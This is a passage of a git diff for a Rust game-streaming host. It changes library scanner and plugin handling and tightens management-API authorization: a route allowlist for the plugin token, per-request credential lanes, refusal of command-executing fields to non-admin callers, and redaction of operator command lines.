_)| !claims.contains_key(*id)) .map(|(id, label)| ScannerInfo { id: id.to_string(), label: label.to_string(), enabled: !off.contains(id), + origin: SourceOrigin::Builtin, + provider: None, + entries: None, }) - .collect() + .collect(); + + // A claimed store shows under the SCANNER's label where we know one, so the row a user has been + // toggling for releases doesn't rename itself out from under them mid-migration. + let label_for = |id: &str| { + scanner_defs() + .into_iter() + .find(|(sid, _)| *sid == id) + .map(|(_, label)| label.to_string()) + .unwrap_or_else(|| id.to_string()) + }; + + let mut plugin_ids: Vec<(String, String)> = claims + .iter() + .map(|(store, provider)| (store.clone(), provider.clone())) + .collect(); + // Emergent providers: any provider with entries that isn't already listed via a claim. + for e in &entries { + let Some(provider) = e.provider.as_deref() else { + continue; + }; + if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) { + plugin_ids.push((provider.to_string(), provider.to_string())); + } + } + plugin_ids.sort(); + plugin_ids.dedup(); + + out.extend(plugin_ids.into_iter().map(|(id, provider)| { + let count = entries + .iter() + .filter(|e| crate::library::source_id_for(e) == Some(id.as_str())) + .count(); + ScannerInfo { + label: label_for(&id), + enabled: !off.contains(&id), + origin: SourceOrigin::Plugin, + provider: Some(provider), + entries: Some(count), + id, + } + })); + out } -/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the -/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and -/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a -/// repeated PUT is a cheap no-op. +/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed +/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s). +fn is_known_source(id: &str) -> bool { + scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id) +} + +/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps +/// that to 404 — the console only ever sees this host's own list). Persists and emits +/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a +/// cheap no-op. +/// +/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and +/// the ids match by construction — so a user who disabled `steam` before the migration still has it +/// disabled after the steam plugin claims the store, with nothing to carry over. pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result>> { - if !scanner_defs().iter().any(|(sid, _)| *sid == id) { + if !is_known_source(id) { return Ok(None); } let mut settings = load_settings(); diff --git a/crates/punktfunk-host/src/library/steam.rs b/crates/punktfunk-host/src/library/steam.rs index d42b1b11..71425505 100644 --- a/crates/punktfunk-host/src/library/steam.rs +++ b/crates/punktfunk-host/src/library/steam.rs @@ -29,6 +29,7 @@ impl LibraryProvider for SteamProvider { .filter(|app| !is_steam_tool(app.appid, &app.name)) .map(|app| GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("steam:{}", app.appid), store: "steam".into(), @@ -383,6 +384,7 @@ fn shortcut_entry(sc: Shortcut) -> Option { } Some(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("steam:{}", sc.appid), store: "steam".into(), @@ -426,12 +428,8 @@ fn shortcuts_files() -> Vec { files } -/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the -/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the -/// bare 32-bit appid does not launch a shortcut — it must be this composed id.) -fn shortcut_gameid(appid: u32) -> u64 { - ((appid as u64) << 32) | 0x0200_0000 -} +// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch +// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`. /// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the /// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern @@ -762,12 +760,7 @@ mod tests { assert!(launch.value.bytes().all(|b| b.is_ascii_digit())); } - #[test] - fn shortcut_gameid_composes_appid_and_marker() { - let id = shortcut_gameid(0x8000_0000); - assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid - assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker - } + // `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1). #[test] fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() { diff --git a/crates/punktfunk-host/src/library/xbox.rs b/crates/punktfunk-host/src/library/xbox.rs index 49d60151..80cbcfe7 100644 --- a/crates/punktfunk-host/src/library/xbox.rs +++ b/crates/punktfunk-host/src/library/xbox.rs @@ -70,6 +70,7 @@ fn xbox_games() -> Vec { let art = cached_art(&id).unwrap_or_default(); games.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id, store: "xbox".into(), diff --git a/crates/punktfunk-host/src/main.rs b/crates/punktfunk-host/src/main.rs index 801a1f1e..a80b4659 100644 --- a/crates/punktfunk-host/src/main.rs +++ b/crates/punktfunk-host/src/main.rs @@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b // The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the // admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin // surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access). - opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + // + // Only when a runner is actually installed. It used to be minted unconditionally on every + // `serve`, so a host with no plugins — the common case — still persisted a second + // admin-adjacent credential to disk and kept a second authentication lane live for a + // subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on + // the next start, and an existing plugin-token file is picked up unchanged, so nothing about + // the plugin flow changes for a host that has one. + if crate::plugins::runtime_status().installed { + opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + } // Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can // fetch the game library over mTLS with no operator step — the whole point of "browse works by // default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface diff --git a/crates/punktfunk-host/src/mgmt/auth.rs b/crates/punktfunk-host/src/mgmt/auth.rs index f71a621b..198559e7 100644 --- a/crates/punktfunk-host/src/mgmt/auth.rs +++ b/crates/punktfunk-host/src/mgmt/auth.rs @@ -17,6 +17,42 @@ use axum::http::Method; use axum::middleware::Next; use sha2::{Digest, Sha256}; +/// **Which credential authorized this request**, attached to the request extensions by +/// [`require_auth`] on every request it forwards. +/// +/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set +/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has +/// every business calling — the library reconcile is the case that matters: a provider plugin owns +/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user +/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds. +/// Route-level authorization cannot express that; a handler holding this can (see +/// [`crate::library::reject_privileged_fields`]). +/// +/// Extracted by handlers as `Extension`. A missing extension is a 500, not a default — +/// a router that forgot the middleware must fail closed, never silently grant admin. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub(crate) enum AuthLane { + /// The operator's admin bearer token (loopback): everything, including the privileged fields. + Admin, + /// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and + /// never the operator-privileged fields inside them. + Plugin, + /// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set. + Cert, + /// An always-open route (`/health`) or the loopback-only tray summary — no credential at all. + Public, +} + +impl AuthLane { + /// Whether this lane may set fields that become command execution as the host user. Only the + /// operator's own token may: the console is the surface where the operator types a command, and + /// typing it there is the trust decision. Everything else is refused, including a paired cert + /// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows). + pub(crate) fn may_set_privileged_fields(self) -> bool { + matches!(self, AuthLane::Admin) + } +} + /// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token /// (from a **loopback** peer only) — required always (the host runs with a token by construction). /// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only @@ -28,8 +64,15 @@ pub(crate) async fn require_auth( req: Request, next: Next, ) -> Response { + /// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can + /// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]). + async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response { + req.extensions_mut().insert(lane); + next.run(req).await + } + if req.uri().path() == "/api/v1/health" { - return next.run(req).await; // liveness probe is always open + return forward(req, next, AuthLane::Public).await; // liveness probe is always open } // The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but // confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators- @@ -43,7 +86,7 @@ pub(crate) async fn require_auth( .get::() .is_none_or(|a| a.0.ip().is_loopback()); return if from_loopback { - next.run(req).await + forward(req, next, AuthLane::Public).await } else { api_error( StatusCode::UNAUTHORIZED, @@ -61,7 +104,7 @@ pub(crate) async fn require_auth( if cert_may_access(req.method(), req.uri().path()) && st.native.as_ref().is_some_and(|n| n.is_paired(fp)) { - return next.run(req).await; + return forward(req, next, AuthLane::Cert).await; } } // Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer. @@ -92,7 +135,7 @@ pub(crate) async fn require_auth( .and_then(|v| v.to_str().ok()) .and_then(|v| v.strip_prefix("Bearer ")); match presented { - Some(token) if token_eq(token, expected) => next.run(req).await, + Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await, // The scripting runner's scoped lane: same loopback confinement as the admin token, but // routes that would let a plugin escalate — registering hooks (arbitrary command // execution as the host user) or administering pairing (admitting/ejecting devices, @@ -105,7 +148,7 @@ pub(crate) async fn require_auth( .is_some_and(|pt| token_eq(token, pt)) => { if plugin_may_access(req.method(), req.uri().path()) { - next.run(req).await + forward(req, next, AuthLane::Plugin).await } else { api_error( StatusCode::FORBIDDEN, @@ -121,9 +164,18 @@ pub(crate) async fn require_auth( } } -/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the -/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives -/// sessions, and registers its UI lease), with these carve-outs: +/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a +/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in +/// `mgmt::tests` fails the build otherwise). +/// +/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05 +/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited +/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks` +/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system +/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default; +/// this one now is too. +/// +/// What stays *out* of the list, and why: /// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary /// command execution as the host user, and reading it can expose webhook credentials. /// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide @@ -133,29 +185,90 @@ pub(crate) async fn require_auth( /// secret; only the console proxy (admin token) needs it. /// - **the plugin store** — installing a plugin is running new code with operator privileges, and a /// plugin that can do that is a persistence/escalation primitive: it could install a helper that -/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale -/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and -/// a whole-prefix deny can't be defeated by a route added later). +/// isn't constrained the way it is, or switch the runner's own service state. +/// - **the update surface** — operator business end to end (`apply` runs an installer / the root +/// helper). +/// +/// The library *writes* below are on the list because a provider plugin's whole job is reconciling +/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and +/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route +/// reachability and field authority are separate questions and this gate only answers the first. pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool { - let denied = path == "/api/v1/hooks" - || path == "/api/v1/store" - || path.starts_with("/api/v1/store/") - || path == "/api/v1/pair" - || path.starts_with("/api/v1/pair/") - || path == "/api/v1/native/pair" - || path.starts_with("/api/v1/native/pair/") - || path == "/api/v1/native/pending" - || path.starts_with("/api/v1/native/pending/") - || (method == Method::DELETE - && (path.starts_with("/api/v1/clients/") - || path.starts_with("/api/v1/native/clients/"))) - || (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential")) - // The update surface is operator business end to end: today it is only a check, but - // the same prefix will carry `apply` (running an installer / the root helper), and a - // whole-prefix deny can't be defeated by a route added later. - || path == "/api/v1/update" - || path.starts_with("/api/v1/update/"); - !denied + // (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is. + const ALLOWED: &[(&Method, &str)] = &[ + // Host / status reads. + (&Method::GET, "/api/v1/health"), + (&Method::GET, "/api/v1/host"), + (&Method::GET, "/api/v1/status"), + (&Method::GET, "/api/v1/local/summary"), + (&Method::GET, "/api/v1/compositors"), + (&Method::GET, "/api/v1/events"), + (&Method::GET, "/api/v1/logs"), + // The paired-device rosters: read-only. (DELETE is pairing administration — not listed.) + (&Method::GET, "/api/v1/clients"), + (&Method::GET, "/api/v1/native/clients"), + // GPU + display control: host configuration a plugin may legitimately steer (a room + // automation plugin swaps the layout with the lights); no privilege boundary crossed. + (&Method::GET, "/api/v1/gpus"), + (&Method::PUT, "/api/v1/gpus/preference"), + (&Method::GET, "/api/v1/display/settings"), + (&Method::PUT, "/api/v1/display/settings"), + (&Method::GET, "/api/v1/display/state"), + (&Method::GET, "/api/v1/display/monitors"), + (&Method::PUT, "/api/v1/display/layout"), + (&Method::POST, "/api/v1/display/release"), + (&Method::GET, "/api/v1/display/presets"), + (&Method::POST, "/api/v1/display/presets"), + (&Method::PUT, "/api/v1/display/presets/{}"), + (&Method::DELETE, "/api/v1/display/presets/{}"), + // Session control: stopping/steering a session is what a launcher plugin exists to do. + (&Method::DELETE, "/api/v1/session"), + (&Method::POST, "/api/v1/session/idr"), + (&Method::GET, "/api/v1/session/settings"), + (&Method::PUT, "/api/v1/session/settings"), + (&Method::POST, "/api/v1/game/end"), + // Library: reads, plus the provider reconcile a scanner plugin is built around. The + // operator-only FIELDS inside these payloads are refused separately (see `AuthLane`). + (&Method::GET, "/api/v1/library"), + (&Method::GET, "/api/v1/library/art/{}/{}"), + (&Method::GET, "/api/v1/library/scanners"), + (&Method::PUT, "/api/v1/library/scanners/{}"), + (&Method::POST, "/api/v1/library/custom"), + (&Method::PUT, "/api/v1/library/custom/{}"), + (&Method::DELETE, "/api/v1/library/custom/{}"), + (&Method::PUT, "/api/v1/library/provider/{}"), + (&Method::DELETE, "/api/v1/library/provider/{}"), + // Stats / telemetry. + (&Method::POST, "/api/v1/stats/capture/start"), + (&Method::POST, "/api/v1/stats/capture/stop"), + (&Method::GET, "/api/v1/stats/capture/status"), + (&Method::GET, "/api/v1/stats/capture/live"), + (&Method::GET, "/api/v1/stats/recordings"), + (&Method::GET, "/api/v1/stats/recordings/{}"), + (&Method::DELETE, "/api/v1/stats/recordings/{}"), + // The plugin's own directory entry + log ingest (its UI lease registration). + (&Method::GET, "/api/v1/plugins"), + (&Method::POST, "/api/v1/plugins/logs"), + (&Method::PUT, "/api/v1/plugins/{}"), + (&Method::DELETE, "/api/v1/plugins/{}"), + ]; + ALLOWED + .iter() + .any(|(m, pat)| *m == method && path_matches(pat, path)) +} + +/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment- +/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow +/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would. +fn path_matches(pattern: &str, path: &str) -> bool { + let (mut p, mut a) = (pattern.split('/'), path.split('/')); + loop { + match (p.next(), a.next()) { + (None, None) => return true, + (Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue, + _ => return false, + } + } } /// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of diff --git a/crates/punktfunk-host/src/mgmt/library.rs b/crates/punktfunk-host/src/mgmt/library.rs index e8292d26..25030b8c 100644 --- a/crates/punktfunk-host/src/mgmt/library.rs +++ b/crates/punktfunk-host/src/mgmt/library.rs @@ -1,8 +1,46 @@ //! Library-tagged management endpoints: installed-store + custom game entries and box art. //! Split out of the `mgmt` facade (plan §W5). +use super::auth::AuthLane; use super::shared::*; use axum::http::header; +use axum::Extension; + +/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one +/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2). +/// +/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a +/// provider plugin must be able to call — reconciling its own entry set is the whole point of a +/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's +/// authority alone. Route reachability and field authority are separate questions. +/// +/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately +/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no +/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what +/// `clippy::result_large_err` objects to. +fn check_entry_fields( + lane: AuthLane, + art: &crate::library::Artwork, + launch: Option<&crate::library::LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Option { + if !lane.may_set_privileged_fields() { + if let Some(field) = crate::library::privileged_field(launch, prep) { + return Some(api_error( + StatusCode::FORBIDDEN, + &format!( + "`{field}` is executed as the host user and may only be set with the \ + operator's admin token — a plugin may publish entries with any host-resolved \ + launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, lutris_id, heroic) \ + instead" + ), + )); + } + } + crate::library::validate_art_paths(art) + .err() + .map(|e| api_error(StatusCode::BAD_REQUEST, &e)) +} #[derive(Deserialize)] pub(crate) struct LibraryQuery { @@ -34,6 +72,7 @@ pub(crate) struct LibraryQuery { ) )] pub(crate) async fn get_library( + Extension(lane): Extension, Query(q): Query, ) -> Json> { let mut games = crate::library::all_games(); @@ -54,6 +93,24 @@ pub(crate) async fn get_library( for g in &mut games { crate::library::proxy_local_art(&g.id, &mut g.art); } + // Redact the operator's command lines for every lane but their own (2026-08-05 review L-1). + // + // `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING + // client on the LAN — and for a custom entry `launch.value` is the raw shell command or + // absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for + // exactly this reason; `launch` simply never got the same treatment. Clients don't need it: + // a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`), + // which is the invariant that stops a client injecting a command in the first place. The + // `kind` stays, so "this is launchable, and how" still renders. + if !lane.may_set_privileged_fields() { + for g in &mut games { + if let Some(l) = g.launch.as_mut() { + if l.kind == "command" { + l.value.clear(); + } + } + } + } Json(games) } @@ -141,11 +198,15 @@ pub(crate) async fn set_library_scanner( ) )] pub(crate) async fn create_custom_game( + Extension(lane): Extension, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } match crate::library::add_custom(input) { Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), @@ -169,12 +230,16 @@ pub(crate) async fn create_custom_game( ) )] pub(crate) async fn update_custom_game( + Extension(lane): Extension, Path(id): Path, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } use crate::library::MutateOutcome; match crate::library::update_custom(&id, input) { Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(), @@ -185,6 +250,11 @@ pub(crate) async fn update_custom_game( StatusCode::CONFLICT, &format!("entry is owned by provider `{p}` — update it through its reconcile"), ), + // Store claims are a reconcile-only concern — the manual CRUD never requests one. + Ok(MutateOutcome::StoreClaimed { .. }) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected claim outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -216,6 +286,11 @@ pub(crate) async fn delete_custom_game(Path(id): Path) -> Response { "entry is owned by provider `{p}` — remove it there, or DELETE the provider set" ), ), + // Store claims are a reconcile-only concern — the manual CRUD never requests one. + Ok(MutateOutcome::StoreClaimed { .. }) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected claim outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -227,6 +302,13 @@ pub(crate) struct ProviderRemoved { removed: usize, } +/// Query for `reconcileProviderEntries` — the optional store claim (D2). +#[derive(Deserialize)] +pub(crate) struct ReconcileQuery { + /// Claim this store for the provider, so its entries take the store's own identity. + store: Option, +} + /// Replace a provider's library entries (declarative reconcile) /// /// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the @@ -234,39 +316,80 @@ pub(crate) struct ProviderRemoved { /// surviving title's host id stable across reconciles, drops orphans, and never touches manual /// entries or other providers'. An empty array removes everything the provider owns. Emits /// `library.changed` with the provider as `source`. +/// +/// `?store=` additionally **claims** that store for the provider: its entries then surface with +/// deterministic `:` ids and the store's own badge, instead of opaque +/// `custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner +/// used to produce, right down to the GameStream app ids and client-side art caches. One provider +/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is +/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty +/// reconcile (a store can legitimately have zero installed titles). #[utoipa::path( put, path = "/library/provider/{provider}", tag = "library", operation_id = "reconcileProviderEntries", - params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")), + params( + ("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"), + ("store" = Option, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"), + ), request_body = Vec, responses( (status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]), - (status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError), + (status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError), (status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError), + (status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError), (status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError), ) )] pub(crate) async fn reconcile_provider_entries( + Extension(lane): Extension, Path(provider): Path, + Query(q): Query, ApiJson(inputs): ApiJson>, ) -> Response { if let Err(e) = crate::library::validate_provider_name(&provider) { return api_error(StatusCode::BAD_REQUEST, &e); } + let store = q.store.filter(|s| !s.is_empty()); + if let Some(store) = &store { + if let Err(e) = crate::library::validate_store_claim(store) { + return api_error(StatusCode::BAD_REQUEST, &e); + } + } if let Err(e) = crate::library::validate_provider_payload(&inputs) { return api_error(StatusCode::BAD_REQUEST, &e); } - match crate::library::reconcile_provider(&provider, inputs) { - Ok(entries) => { + // Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so + // one privileged field anywhere in it is one command execution. + for (i, e) in inputs.iter().enumerate() { + if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) { + tracing::warn!( + provider, + index = i, + "library reconcile refused: payload carries a field this lane may not set" + ); + return denied; + } + } + match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) { + Ok(crate::library::MutateOutcome::Done(entries)) => { tracing::info!( provider, + store = store.as_deref().unwrap_or("-"), count = entries.len(), "library provider reconciled" ); Json(entries).into_response() } + Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error( + StatusCode::CONFLICT, + &format!("store `{store}` is already claimed by provider `{provider}`"), + ), + Ok(_) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected reconcile outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -306,11 +429,12 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path) -> Res /// Fetch one cover-art image for a library entry /// /// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams -/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact — -/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL -/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host -/// can't predict, in which case this 404s and the client falls through to its next art candidate). -/// Only Steam ids are backed today; any other store 404s. +/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries, +/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back +/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the +/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second +/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case +/// this 404s and the client falls through to its next art candidate). #[utoipa::path( get, path = "/library/art/{id}/{kind}", @@ -330,7 +454,20 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) -> let Some(kind) = crate::library::ArtKind::parse(&kind) else { return api_error(StatusCode::NOT_FOUND, "unknown art kind"); }; - // Steam: CDN / local-cache proxy (id `steam:`). + // `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once + // store claims land) a scanner plugin's `steam:570` — all serve their local art file from here, + // so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so + // this misses and the legacy branch below still answers them. + let stored = { + let id = id.clone(); + tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind)) + .await + }; + if let Ok(Some((bytes, ctype))) = stored { + return ([(header::CONTENT_TYPE, ctype)], bytes).into_response(); + } + // Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the + // scanner itself once the steam plugin claims the store (M6). if let Some(appid) = id .strip_prefix("steam:") .and_then(|s| s.parse::().ok()) @@ -344,17 +481,5 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) -> _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"), }; } - // Custom/provider entry (id `custom:`): serve its stored LOCAL art file — e.g. the Playnite - // plugin's covers, reconciled as on-host paths rather than inlined bytes. - if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) { - return match tokio::task::spawn_blocking(move || { - crate::library::custom_local_art_bytes(&cid, kind) - }) - .await - { - Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(), - _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"), - }; - } - api_error(StatusCode::NOT_FOUND, "no art proxy for this store") + api_error(StatusCode::NOT_FOUND, "no art of that kind for this title") } diff --git a/crates/punktfunk-host/src/mgmt/plugins.rs b/crates/punktfunk-host/src/mgmt/plugins.rs index c57ab88f..f4ab317f 100644 --- a/crates/punktfunk-host/src/mgmt/plugins.rs +++ b/crates/punktfunk-host/src/mgmt/plugins.rs @@ -64,6 +64,14 @@ pub(crate) struct PluginRegistration { /// entry only (e.g. a future runner-management listing) and grows no nav entry. #[serde(default, skip_serializing_if = "Option::is_none")] pub ui: Option, + /// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui` + /// because it describes the plugin, not its surface. The console knows one value today — + /// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise + /// flood the sidebar, and their real entry point is the Game sources surface (design D5). A + /// library plugin that genuinely wants its own page (rom-manager, which is much more than a + /// scanner) simply omits the category. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub category: Option, } /// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`). @@ -104,6 +112,9 @@ pub(crate) struct PluginSummary { pub version: Option, #[serde(skip_serializing_if = "Option::is_none")] pub ui: Option, + /// The plugin's kind — see [`PluginRegistration::category`]. + #[serde(skip_serializing_if = "Option::is_none")] + pub category: Option, } /// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback). @@ -129,14 +140,19 @@ struct Stored { title: String, version: Option, ui: Option, + category: Option, expires_at: Instant, } impl Stored { /// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves - /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does. - fn public_eq(&self, title: &str, version: &Option, ui: &Option) -> bool { - self.title == title && self.version == *version && self.ui == *ui + /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/ + /// category) does. + fn public_eq(&self, v: &Valid) -> bool { + self.title == v.title + && self.version == v.version + && self.ui == v.ui + && self.category == v.category } } @@ -150,6 +166,7 @@ struct Valid { title: String, version: Option, ui: Option, + category: Option, } impl PluginRegistry { @@ -167,7 +184,7 @@ impl PluginRegistry { let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner()); let changed = match map.get(id) { // An *expired* prior entry counts as a change (it had stopped listing). - Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui), + Some(prev) => !prev.is_live() || !prev.public_eq(&v), None => true, }; map.insert( @@ -176,6 +193,7 @@ impl PluginRegistry { title: v.title, version: v.version, ui: v.ui, + category: v.category, expires_at, }, ); @@ -207,6 +225,7 @@ impl PluginRegistry { port: u.port, icon: u.icon.clone(), }), + category: s.category.clone(), }) .collect(); live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id))); @@ -333,7 +352,31 @@ fn validate(reg: PluginRegistration) -> Result { Some(u) => Some(validate_ui(u)?), None => None, }; - Ok(Valid { title, version, ui }) + // Categories are grouping keys the console switches on — a closed charset, but deliberately not + // a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a + // newer plugin registering against an older host degrades to "shows in the nav", never to a + // failed registration. + let category = match reg.category { + Some(c) => { + let ok = (1..=32).contains(&c.len()) + && c.starts_with(|ch: char| ch.is_ascii_lowercase()) + && c.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-'); + if !ok { + return Err( + "category must be 1–32 chars of [a-z0-9-], starting with a letter".into(), + ); + } + Some(c) + } + None => None, + }; + Ok(Valid { + title, + version, + ui, + 